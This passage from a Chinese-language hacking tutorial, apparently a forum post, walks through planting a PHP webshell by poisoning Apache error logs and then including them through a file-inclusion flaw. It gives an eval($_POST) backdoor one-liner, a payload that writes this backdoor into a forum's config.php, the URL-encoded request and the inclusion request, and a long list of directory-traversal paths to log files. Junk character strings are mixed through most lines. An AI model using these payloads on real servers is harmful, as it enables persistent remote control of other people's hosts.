因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
' V/ H' t3 w. W/ S2 q* P+ y& z4 ^ K0 D
比如还是这句一句话木马
* k; X8 z) A, y<?eval($_POST[cmd]);?> ; ^* I4 h5 h) m
3 J' I4 W% S( N6 S# x- a9 j到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, 3 f% r6 c- z8 W3 {4 Y
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
/ T1 S! c4 G# a* J# [3 o3 z" r7 J/ c, \% c) Q+ @2 B8 {
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); 4 _7 g+ M) S7 ~% k- N9 i, ?9 i
fclose($fp);?> //在config.php里写入一句木马语句
' T& R7 b" ^ M8 m" T$ g
+ d$ o: H$ X$ ~2 F5 S我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
3 Q) w2 C0 v1 G" \1 a/ ]转换为
; F. s! O% ~% ?" [3 [%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F * O4 p; m8 f# g' a8 ~
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
% z3 N0 _5 x6 q" X% w%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B " t1 z- Q7 e) X6 V: s1 t
fclose%28%24fp%29%3B%3F%3E
" H9 b) m* W" X8 Y我们提交
! u7 f4 C' a" qhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww : ?0 x+ p0 W8 O" T$ Q& I( G
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
$ V; [% Q5 V/ @5 u- Z5 |8 ~%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B $ O: X2 c Y+ T" T) ^2 e- `
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E 0 m* K0 S( t9 T% L
; S! P& r i" T' Z- V" s |: f这样就错误日志里就记录下了这行写入webshell的代码。 - F$ x) y: ?# R h
我们再来包含日志,提交
4 s- T/ R _' l, f. ^http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log * W# K$ P2 R! `# c8 e1 ?
' V& V0 e2 \- F" P) E5 ]# _这样webshell就写入成功了,config.php里就写入一句木马语句 + j, L% w" D5 R: F" _6 y
OK. 7 c+ F) ~( l( z" x5 d& {
http://www.xxx.com/forum/config.php这个就成了我们的webshell $ |! r3 L* r3 t6 U: z
直接用lanker的客户端一连,主机就是你的了。
8 h! m$ z- M' A& ^" {. y, p! s* W* c( N0 z* D8 t3 K
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 / L! @4 @7 j: R0 T
2 s/ I$ Q! k5 Z% F) G, P: Z' K
其他的日志路径,你可以去猜,也可以参照这里。 ) Q- ] n$ H- j( O) v* N. i
../../../../../../../../../../var/log/httpd/access_log
7 j$ I9 {8 P! y0 Y+ C7 v: h2 q" `../../../../../../../../../../var/log/httpd/error_log 5 y/ K% h/ D1 s: F
../apache/logs/error.log 0 H3 S4 z7 O; m1 C7 X4 V: I
../apache/logs/access.log
. A' A, n5 \7 h( w l../../apache/logs/error.log
? j# G) P$ S4 H' L6 s. p% O../../apache/logs/access.log / s4 v+ _0 ^4 y3 U8 |- Y8 `$ z- B; a
../../../apache/logs/error.log 6 R, j' `" B7 O
../../../apache/logs/access.log
, Q% `1 R D" h" x3 G9 x+ \../../../../../../../../../../etc/httpd/logs/acces_log
) _* h' q3 u: O../../../../../../../../../../etc/httpd/logs/acces.log
/ t# M4 ?+ h/ S! ?1 h../../../../../../../../../../etc/httpd/logs/error_log
1 d* d9 ?$ E4 o# O! U( D../../../../../../../../../../etc/httpd/logs/error.log
- [) }- |4 k' F( A../../../../../../../../../../var/www/logs/access_log 0 ^) s0 t0 s% w6 h6 ]% |: H
../../../../../../../../../../var/www/logs/access.log
, r: Q6 ?3 O. i; Z6 [; P* O../../../../../../../../../../usr/local/apache/logs/access_log ; S( {; E& {4 \' n3 ?& ~; O
../../../../../../../../../../usr/local/apache/logs/access.log
4 Z) H: ~0 _, a) \../../../../../../../../../../var/log/apache/access_log
( L* z; g+ g6 n+ }../../../../../../../../../../var/log/apache/access.log K$ ~" n, G2 S5 h& u1 o
../../../../../../../../../../var/log/access_log 7 L& g. f, t* g/ J5 @
../../../../../../../../../../var/www/logs/error_log
4 C: w7 _3 i( N6 Q2 S' }; P../../../../../../../../../../var/www/logs/error.log 6 k. Z" m- u% ?% ?6 w4 v
../../../../../../../../../../usr/local/apache/logs/error_log
0 S B( [/ ?+ G7 y! C, N3 {$ Z../../../../../../../../../../usr/local/apache/logs/error.log
- I8 m; G. R) u0 k' M' ^../../../../../../../../../../var/log/apache/error_log
0 Y- @) f+ L; C+ O' g9 o../../../../../../../../../../var/log/apache/error.log
% V" @. Z! }0 f+ e& z/ K6 H3 m../../../../../../../../../../var/log/access_log
2 J8 f" `; n+ k0 Z/ V5 P../../../../../../../../../../var/log/error_log ) @2 H$ b$ D1 w) @ }
/var/log/httpd/access_log , r) Z& S! C. W$ u; M
/var/log/httpd/error_log $ S: u0 b( _# K) A) @
../apache/logs/error.log
) C9 w) [* [: g) K+ I$ Q../apache/logs/access.log
8 c \3 M- U" h+ _../../apache/logs/error.log ) R( z. p9 A+ k4 @3 s
../../apache/logs/access.log
' j/ R5 W& p9 T% r' |# ?" b) w../../../apache/logs/error.log
2 X: A. O1 [+ V& h' c% |../../../apache/logs/access.log
; K* d! e8 U( Y1 B/etc/httpd/logs/acces_log , s. v' Q: G/ s8 ^* S8 [! A
/etc/httpd/logs/acces.log " k/ I! n* _. F9 ]
/etc/httpd/logs/error_log
" f9 l# f' v, ^) M" S j2 u/etc/httpd/logs/error.log 9 ~# n5 v( U% F2 e8 x& E
/var/www/logs/access_log / f' `- z6 ^ C x8 i! r k; ?
/var/www/logs/access.log
t8 Q- }# O, g$ l& Z/usr/local/apache/logs/access_log $ J; H' Y! x8 O) V5 e
/usr/local/apache/logs/access.log
7 n# R8 B8 Z9 X3 k% F/var/log/apache/access_log
5 z: c4 E' q* Q! \% v# x" I/var/log/apache/access.log " l5 n p1 Q& a
/var/log/access_log % l, ]) s* W: H$ Y9 O
/var/www/logs/error_log
" h5 X5 N! N* w4 ~9 K/var/www/logs/error.log
+ @, {" v) I# H* l) e' {0 |, x7 T0 B/usr/local/apache/logs/error_log
& x5 `& b3 m* @* o4 p/usr/local/apache/logs/error.log
8 |, P6 z* N6 V% n$ N/var/log/apache/error_log
8 O9 x+ z7 e2 R f0 w- [/var/log/apache/error.log
: a& p- G6 k( W% B! T) k/var/log/access_log 9 A. P, K! z5 f$ \# g" l/ w( |
/var/log/error_log |